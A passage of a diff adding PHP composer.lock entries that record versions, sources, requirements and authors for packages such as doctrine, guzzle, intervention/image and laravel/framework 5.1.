"eb152c5100571c7a45470ff2a35095ab3f3b900b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/cache/zipball/eb152c5100571c7a45470ff2a35095ab3f3b900b", + "reference": "eb152c5100571c7a45470ff2a35095ab3f3b900b", + "shasum": "" + }, + "require": { + "php": "~5.5|~7.0" + }, + "conflict": { + "doctrine/common": ">2.2,<2.4" + }, + "require-dev": { + "phpunit/phpunit": "~4.8|~5.0", + "predis/predis": "~1.0", + "satooshi/php-coveralls": "~0.6" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.6.x-dev" + } + }, + "autoload": { + "psr-4": { + "Doctrine\\Common\\Cache\\": "lib/Doctrine/Common/Cache" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Caching library offering an object-oriented API for many cache backends", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "cache", + "caching" + ], + "time": "2017-07-22T12:49:21+00:00" + }, + { + "name": "doctrine/collections", + "version": "v1.4.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/collections.git", + "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/collections/zipball/1a4fb7e902202c33cce8c55989b945612943c2ba", + "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba", + "shasum": "" + }, + "require": { + "php": "^5.6 || ^7.0" + }, + "require-dev": { + "doctrine/coding-standard": "~0.1@dev", + "phpunit/phpunit": "^5.7" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.3.x-dev" + } + }, + "autoload": { + "psr-0": { + "Doctrine\\Common\\Collections\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Collections Abstraction library", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "array", + "collections", + "iterator" + ], + "time": "2017-01-03T10:49:41+00:00" + }, + { + "name": "doctrine/common", + "version": "v2.7.3", + "source": { + "type": "git", + "url": "https://github.com/doctrine/common.git", + "reference": "4acb8f89626baafede6ee5475bc5844096eba8a9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/common/zipball/4acb8f89626baafede6ee5475bc5844096eba8a9", + "reference": "4acb8f89626baafede6ee5475bc5844096eba8a9", + "shasum": "" + }, + "require": { + "doctrine/annotations": "1.*", + "doctrine/cache": "1.*", + "doctrine/collections": "1.*", + "doctrine/inflector": "1.*", + "doctrine/lexer": "1.*", + "php": "~5.6|~7.0" + }, + "require-dev": { + "phpunit/phpunit": "^5.4.6" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7.x-dev" + } + }, + "autoload": { + "psr-4": { + "Doctrine\\Common\\": "lib/Doctrine/Common" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Common Library for Doctrine projects", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "annotations", + "collections", + "eventmanager", + "persistence", + "spl" + ], + "time": "2017-07-22T08:35:12+00:00" + }, + { + "name": "doctrine/dbal", + "version": "v2.5.13", + "source": { + "type": "git", + "url": "https://github.com/doctrine/dbal.git", + "reference": "729340d8d1eec8f01bff708e12e449a3415af873" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/729340d8d1eec8f01bff708e12e449a3415af873", + "reference": "729340d8d1eec8f01bff708e12e449a3415af873", + "shasum": "" + }, + "require": { + "doctrine/common": ">=2.4,<2.8-dev", + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "4.*", + "symfony/console": "2.*||^3.0" + }, + "suggest": { + "symfony/console": "For helpful console commands such as SQL execution and import of files." + }, + "bin": [ + "bin/doctrine-dbal" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.5.x-dev" + } + }, + "autoload": { + "psr-0": { + "Doctrine\\DBAL\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + } + ], + "description": "Database Abstraction Layer", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "database", + "dbal", + "persistence", + "queryobject" + ], + "time": "2017-07-22T20:44:48+00:00" + }, + { + "name": "doctrine/inflector", + "version": "v1.2.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/inflector.git", + "reference": "e11d84c6e018beedd929cff5220969a3c6d1d462" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/inflector/zipball/e11d84c6e018beedd929cff5220969a3c6d1d462", + "reference": "e11d84c6e018beedd929cff5220969a3c6d1d462", + "shasum": "" + }, + "require": { + "php": "^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.2.x-dev" + } + }, + "autoload": { + "psr-4": { + "Doctrine\\Common\\Inflector\\": "lib/Doctrine/Common/Inflector" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Common String Manipulations with regard to casing and singular/plural rules.", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "inflection", + "pluralize", + "singularize", + "string" + ], + "time": "2017-07-22T12:18:28+00:00" + }, + { + "name": "doctrine/lexer", + "version": "1.0.2", + "source": { + "type": "git", + "url": "https://github.com/doctrine/lexer.git", + "reference": "1febd6c3ef84253d7c815bed85fc622ad207a9f8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/lexer/zipball/1febd6c3ef84253d7c815bed85fc622ad207a9f8", + "reference": "1febd6c3ef84253d7c815bed85fc622ad207a9f8", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "^4.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Doctrine\\Common\\Lexer\\": "lib/Doctrine/Common/Lexer" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "PHP Doctrine Lexer parser library that can be used in Top-Down, Recursive Descent Parsers.", + "homepage": "https://www.doctrine-project.org/projects/lexer.html", + "keywords": [ + "annotations", + "docblock", + "lexer", + "parser", + "php" + ], + "time": "2019-06-08T11:03:04+00:00" + }, + { + "name": "easywechat-composer/easywechat-composer", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/mingyoung-easywechat-composer-mix.git", + "reference": "4d6acc9baa9f02cd80c007f14e22f7e5d6931409" + }, + "require": { + "composer-plugin-api": "^1.0 || ^2.0" + }, + "type": "composer-plugin", + "extra": { + "class": "EasyWeChatComposer\\Plugin" + }, + "autoload": { + "psr-4": { + "EasyWeChatComposer\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "EasyWeChatComposer\\Tests\\": "tests/" + } + }, + "license": [ + "MIT" + ], + "authors": [ + { + "name": "张铭阳", + "email": "mingyoungcheung@gmail.com" + } + ], + "description": "The composer plugin for EasyWeChat", + "time": "2021-05-22T10:50:22+00:00" + }, + { + "name": "ezyang/htmlpurifier", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/htmlpurifier.git", + "reference": "abcca0f778a9717d9c1b8d1020cec86a2ec657d2" + }, + "require": { + "php": "~5.6.0 || ~7.0.0 || ~7.1.0 || ~7.2.0 || ~7.3.0 || ~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0" + }, + "require-dev": { + "cerdic/css-tidy": "^1.7 || ^2.0", + "simpletest/simpletest": "dev-master" + }, + "suggest": { + "cerdic/css-tidy": "If you want to use the filter 'Filter.ExtractStyleBlocks'.", + "ext-bcmath": "Used for unit conversion and imagecrash protection", + "ext-iconv": "Converts text to and from non-UTF-8 encodings", + "ext-tidy": "Used for pretty-printing HTML" + }, + "type": "library", + "autoload": { + "psr-0": { + "HTMLPurifier": "library/" + }, + "files": [ + "library/HTMLPurifier.composer.php" + ], + "exclude-from-classmap": [ + "/library/HTMLPurifier/Language/" + ] + }, + "license": [ + "LGPL-2.1-or-later" + ], + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com" + } + ], + "description": "Standards compliant HTML filter written in PHP", + "homepage": "http://htmlpurifier.org/", + "keywords": [ + "html" + ], + "time": "2022-12-14T02:36:46+00:00" + }, + { + "name": "guzzlehttp/guzzle", + "version": "6.5.8", + "source": { + "type": "git", + "url": "https://github.com/guzzle/guzzle.git", + "reference": "a52f0440530b54fa079ce76e8c5d196a42cad981" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/guzzle/zipball/a52f0440530b54fa079ce76e8c5d196a42cad981", + "reference": "a52f0440530b54fa079ce76e8c5d196a42cad981", + "shasum": "" + }, + "require": { + "ext-json": "*", + "guzzlehttp/promises": "^1.0", + "guzzlehttp/psr7": "^1.9", + "php": ">=5.5", + "symfony/polyfill-intl-idn": "^1.17" + }, + "require-dev": { + "ext-curl": "*", + "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0", + "psr/log": "^1.1" + }, + "suggest": { + "psr/log": "Required for using the Log middleware" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "6.5-dev" + } + }, + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle is a PHP HTTP client library", + "homepage": "http://guzzlephp.org/", + "keywords": [ + "client", + "curl", + "framework", + "http", + "http client", + "rest", + "web service" + ], + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle", + "type": "tidelift" + } + ], + "time": "2022-06-20T22:16:07+00:00" + }, + { + "name": "guzzlehttp/promises", + "version": "1.5.3", + "source": { + "type": "git", + "url": "https://github.com/guzzle/promises.git", + "reference": "67ab6e18aaa14d753cc148911d273f6e6cb6721e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/promises/zipball/67ab6e18aaa14d753cc148911d273f6e6cb6721e", + "reference": "67ab6e18aaa14d753cc148911d273f6e6cb6721e", + "shasum": "" + }, + "require": { + "php": ">=5.5" + }, + "require-dev": { + "symfony/phpunit-bridge": "^4.4 || ^5.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\Promise\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle promises library", + "keywords": [ + "promise" + ], + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises", + "type": "tidelift" + } + ], + "time": "2023-05-21T12:31:43+00:00" + }, + { + "name": "guzzlehttp/psr7", + "version": "1.9.1", + "source": { + "type": "git", + "url": "https://github.com/guzzle/psr7.git", + "reference": "e4490cabc77465aaee90b20cfc9a770f8c04be6b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/e4490cabc77465aaee90b20cfc9a770f8c04be6b", + "reference": "e4490cabc77465aaee90b20cfc9a770f8c04be6b", + "shasum": "" + }, + "require": { + "php": ">=5.4.0", + "psr/http-message": "~1.0", + "ralouphie/getallheaders": "^2.0.5 || ^3.0.0" + }, + "provide": { + "psr/http-message-implementation": "1.0" + }, + "require-dev": { + "ext-zlib": "*", + "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10" + }, + "suggest": { + "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\Psr7\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "PSR-7 message implementation that also provides common utility methods", + "keywords": [ + "http", + "message", + "psr-7", + "request", + "response", + "stream", + "uri", + "url" + ], + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7", + "type": "tidelift" + } + ], + "time": "2023-04-17T16:00:37+00:00" + }, + { + "name": "intervention/image", + "version": "2.7.2", + "source": { + "type": "git", + "url": "https://github.com/Intervention/image.git", + "reference": "04be355f8d6734c826045d02a1079ad658322dad" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Intervention/image/zipball/04be355f8d6734c826045d02a1079ad658322dad", + "reference": "04be355f8d6734c826045d02a1079ad658322dad", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "guzzlehttp/psr7": "~1.1 || ^2.0", + "php": ">=5.4.0" + }, + "require-dev": { + "mockery/mockery": "~0.9.2", + "phpunit/phpunit": "^4.8 || ^5.7 || ^7.5.15" + }, + "suggest": { + "ext-gd": "to use GD library based image processing.", + "ext-imagick": "to use Imagick based image processing.", + "intervention/imagecache": "Caching extension for the Intervention Image library" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Image": "Intervention\\Image\\Facades\\Image" + }, + "providers": [ + "Intervention\\Image\\ImageServiceProvider" + ] + }, + "branch-alias": { + "dev-master": "2.4-dev" + } + }, + "autoload": { + "psr-4": { + "Intervention\\Image\\": "src/Intervention/Image" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Oliver Vogel", + "email": "oliver@intervention.io", + "homepage": "https://intervention.io/" + } + ], + "description": "Image handling and manipulation library with support for Laravel integration", + "homepage": "http://image.intervention.io/", + "keywords": [ + "gd", + "image", + "imagick", + "laravel", + "thumbnail", + "watermark" + ], + "funding": [ + { + "url": "https://paypal.me/interventionio", + "type": "custom" + }, + { + "url": "https://github.com/Intervention", + "type": "github" + } + ], + "time": "2022-05-21T17:30:32+00:00" + }, + { + "name": "jakub-onderka/php-console-color", + "version": "v0.2", + "source": { + "type": "git", + "url": "https://github.com/JakubOnderka/PHP-Console-Color.git", + "reference": "d5deaecff52a0d61ccb613bb3804088da0307191" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/JakubOnderka/PHP-Console-Color/zipball/d5deaecff52a0d61ccb613bb3804088da0307191", + "reference": "d5deaecff52a0d61ccb613bb3804088da0307191", + "shasum": "" + }, + "require": { + "php": ">=5.4.0" + }, + "require-dev": { + "jakub-onderka/php-code-style": "1.0", + "jakub-onderka/php-parallel-lint": "1.0", + "jakub-onderka/php-var-dump-check": "0.*", + "phpunit/phpunit": "~4.3", + "squizlabs/php_codesniffer": "1.*" + }, + "type": "library", + "autoload": { + "psr-4": { + "JakubOnderka\\PhpConsoleColor\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "jakub.onderka@gmail.com" + } + ], + "abandoned": "php-parallel-lint/php-console-color", + "time": "2018-09-29T17:23:10+00:00" + }, + { + "name": "jakub-onderka/php-console-highlighter", + "version": "v0.3.2", + "source": { + "type": "git", + "url": "https://github.com/JakubOnderka/PHP-Console-Highlighter.git", + "reference": "7daa75df45242c8d5b75a22c00a201e7954e4fb5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/JakubOnderka/PHP-Console-Highlighter/zipball/7daa75df45242c8d5b75a22c00a201e7954e4fb5", + "reference": "7daa75df45242c8d5b75a22c00a201e7954e4fb5", + "shasum": "" + }, + "require": { + "jakub-onderka/php-console-color": "~0.1", + "php": ">=5.3.0" + }, + "require-dev": { + "jakub-onderka/php-code-style": "~1.0", + "jakub-onderka/php-parallel-lint": "~0.5", + "jakub-onderka/php-var-dump-check": "~0.1", + "phpunit/phpunit": "~4.0", + "squizlabs/php_codesniffer": "~1.5" + }, + "type": "library", + "autoload": { + "psr-0": { + "JakubOnderka\\PhpConsoleHighlighter": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "acci@acci.cz", + "homepage": "http://www.acci.cz/" + } + ], + "abandoned": "php-parallel-lint/php-console-highlighter", + "time": "2015-04-20T18:58:01+00:00" + }, + { + "name": "jaybizzle/crawler-detect", + "version": "v1.2.121", + "source": { + "type": "git", + "url": "https://github.com/JayBizzle/Crawler-Detect.git", + "reference": "40ecda6322d4163fe2c6e1dd47c574f580b8487f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/JayBizzle/Crawler-Detect/zipball/40ecda6322d4163fe2c6e1dd47c574f580b8487f", + "reference": "40ecda6322d4163fe2c6e1dd47c574f580b8487f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8|^5.5|^6.5|^9.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Jaybizzle\\CrawlerDetect\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mark Beech", + "email": "m@rkbee.ch", + "role": "Developer" + } + ], + "description": "CrawlerDetect is a PHP class for detecting bots/crawlers/spiders via the user agent", + "homepage": "https://github.com/JayBizzle/Crawler-Detect/", + "keywords": [ + "crawler", + "crawler detect", + "crawler detector", + "crawlerdetect", + "php crawler detect" + ], + "time": "2024-10-20T21:42:39+00:00" + }, + { + "name": "jenssegers/agent", + "version": "v2.6.4", + "source": { + "type": "git", + "url": "https://github.com/jenssegers/agent.git", + "reference": "daa11c43729510b3700bc34d414664966b03bffe" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jenssegers/agent/zipball/daa11c43729510b3700bc34d414664966b03bffe", + "reference": "daa11c43729510b3700bc34d414664966b03bffe", + "shasum": "" + }, + "require": { + "jaybizzle/crawler-detect": "^1.2", + "mobiledetect/mobiledetectlib": "^2.7.6", + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5.0|^6.0|^7.0" + }, + "suggest": { + "illuminate/support": "Required for laravel service providers" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Agent": "Jenssegers\\Agent\\Facades\\Agent" + }, + "providers": [ + "Jenssegers\\Agent\\AgentServiceProvider" + ] + }, + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "psr-4": { + "Jenssegers\\Agent\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jens Segers", + "homepage": "https://jenssegers.com" + } + ], + "description": "Desktop/mobile user agent parser with support for Laravel, based on Mobiledetect", + "homepage": "https://github.com/jenssegers/agent", + "keywords": [ + "Agent", + "browser", + "desktop", + "laravel", + "mobile", + "platform", + "user agent", + "useragent" + ], + "funding": [ + { + "url": "https://github.com/jenssegers", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/jenssegers/agent", + "type": "tidelift" + } + ], + "time": "2020-06-13T08:05:20+00:00" + }, + { + "name": "jeremeamia/superclosure", + "version": "2.4.0", + "source": { + "type": "git", + "url": "https://github.com/jeremeamia/super_closure.git", + "reference": "5707d5821b30b9a07acfb4d76949784aaa0e9ce9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jeremeamia/super_closure/zipball/5707d5821b30b9a07acfb4d76949784aaa0e9ce9", + "reference": "5707d5821b30b9a07acfb4d76949784aaa0e9ce9", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^1.2|^2.0|^3.0|^4.0", + "php": ">=5.4", + "symfony/polyfill-php56": "^1.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0|^5.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.4-dev" + } + }, + "autoload": { + "psr-4": { + "SuperClosure\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia", + "role": "Developer" + } + ], + "description": "Serialize Closure objects, including their context and binding", + "homepage": "https://github.com/jeremeamia/super_closure", + "keywords": [ + "closure", + "function", + "lambda", + "parser", + "serializable", + "serialize", + "tokenizer" + ], + "abandoned": "opis/closure", + "time": "2018-03-21T22:21:57+00:00" + }, + { + "name": "kylekatarnls/update-helper", + "version": "1.2.1", + "source": { + "type": "git", + "url": "https://github.com/kylekatarnls/update-helper.git", + "reference": "429be50660ed8a196e0798e5939760f168ec8ce9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kylekatarnls/update-helper/zipball/429be50660ed8a196e0798e5939760f168ec8ce9", + "reference": "429be50660ed8a196e0798e5939760f168ec8ce9", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.1.0 || ^2.0.0", + "php": ">=5.3.0" + }, + "require-dev": { + "codeclimate/php-test-reporter": "dev-master", + "composer/composer": "2.0.x-dev || ^2.0.0-dev", + "phpunit/phpunit": ">=4.8.35 <6.0" + }, + "type": "composer-plugin", + "extra": { + "class": "UpdateHelper\\ComposerPlugin" + }, + "autoload": { + "psr-0": { + "UpdateHelper\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Kyle", + "email": "kylekatarnls@gmail.com" + } + ], + "description": "Update helper", + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ], + "time": "2020-04-07T20:44:10+00:00" + }, + { + "name": "laravel/framework", + "version": "v5.1.46", + "source": { + "type": "git", + "url": "https://github.com/laravel/framework.git", + "reference": "7f2f892e62163138121e8210b92b21394fda8d1c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/framework/zipball/7f2f892e62163138121e8210b92b21394fda8d1c", + "reference": "7f2f892e62163138121e8210b92b21394fda8d1c", + "shasum": "" + }, + "require": { + "classpreloader/classpreloader": "~2.0|~3.0", + "danielstjules/stringy": "~1.8", + "doctrine/inflector": "~1.0", + "ext-mbstring": "*", + "ext-openssl": "*", + "jeremeamia/superclosure": "~2.0", + "league/flysystem": "~1.0", + "monolog/monolog": "~1.11", + "mtdowling/cron-expression": "~1.0", + "nesbot/carbon": "~1.19", + "paragonie/random_compat": "~1.4", + "php": ">=5.5.9", + "psy/psysh": "0.7.*", + "swiftmailer/swiftmailer": "~5.1", + "symfony/console": "2.7.*", + "symfony/css-selector": "2.7.*|2.8.*", + "symfony/debug": "2.7.*", + "symfony/dom-crawler": "2.7.*", + "symfony/finder": "2.7.*", + "symfony/http-foundation": "2.7.*", + "symfony/http-kernel": "2.7.*", + "symfony/process": "2.7.*", + "symfony/routing": "2.7.*", + "symfony/translation": "2.7.*", + "symfony/var-dumper": "2.7.*", + "vlucas/phpdotenv": "~1.0" + }, + "replace": { + "illuminate/auth": "self.version", + "illuminate/broadcasting": "self.version", + "illuminate/bus": "self.version", + "illuminate/cache": "self.version", + "illuminate/config": "self.version", + "illuminate/console": "self.version", + "illuminate/container": "self.version", + "illuminate/contracts": "self.version", + "illuminate/cookie": "self.version", + "illuminate/database": "self.version", + "illuminate/encryption": "self.version", + "illuminate/events": "self.version", + "illuminate/exception": "self.version", + "illuminate/filesystem": "self.version", + "illuminate/hashing": "self.version", + "illuminate/http": "self.version", + "illuminate/log": "self.version", + "illuminate/mail": "self.version", + "illuminate/pagination": "self.version", + "illuminate/pipeline": "self.version", + "illuminate/queue": "self.version", + "illuminate/redis": "self.version", + "illuminate/routing": "self.version", + "illuminate/session": "self.version", + "illuminate/support": "self.version", + "illuminate/translation": "self.version", + "illuminate/validation": "self.version", + "illuminate/view": "self.version" + }, + "require-dev": { + "aws/aws-sdk-php": "~3.0", + "iron-io/iron_mq": "~2.0", + "mockery/mockery": "~0.9.4", + "pda/pheanstalk": "~3.0", + "phpunit/phpunit": "~4.0", + "predis/predis": "~1.0" + }, + "suggest": { + "aws/aws-sdk-php": "Required to use the SQS queue driver and SES mail driver (~3.0).", + "doctrine/dbal": "Required to rename columns and drop SQLite columns (~2.4).", + "fzaninotto/faker": "Required to use the eloquent factory builder (~1.4).", + "guzzlehttp/guzzle": "Required to use the Mailgun and Mandrill mail drivers and the ping methods on schedules (~5.3|~6.0).", + "iron-io/iron_mq": "Required to use the iron queue driver (~2.0).", + "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (~1.0).", + "league/flysystem-rackspace": "Required to use the Flysystem Rackspace driver (~1.0).", + "pda/pheanstalk": "Required to use the beanstalk queue driver (~3.0).", + "predis/predis": "Required to use the redis cache and queue drivers (~1.0).", + "pusher/pusher-php-server": "Required to use the Pusher broadcast driver (~2.0).", + "symfony/psr-http-message-bridge": "Required to psr7 bridging features (0.2.*)." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.1-dev" + } + }, + "autoload": { + "files": [ + "src/Illuminate/Foundation/helpers.php", + "src/Illuminate/Support/helpers.php" + ], + "psr-4": { + "Illuminate\\": "src/Illuminate/" + }, + "classmap": [ + "src/Illuminate/Queue/IlluminateQueueClosure.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylorotwell@gmail.com" + } + ], + "description": 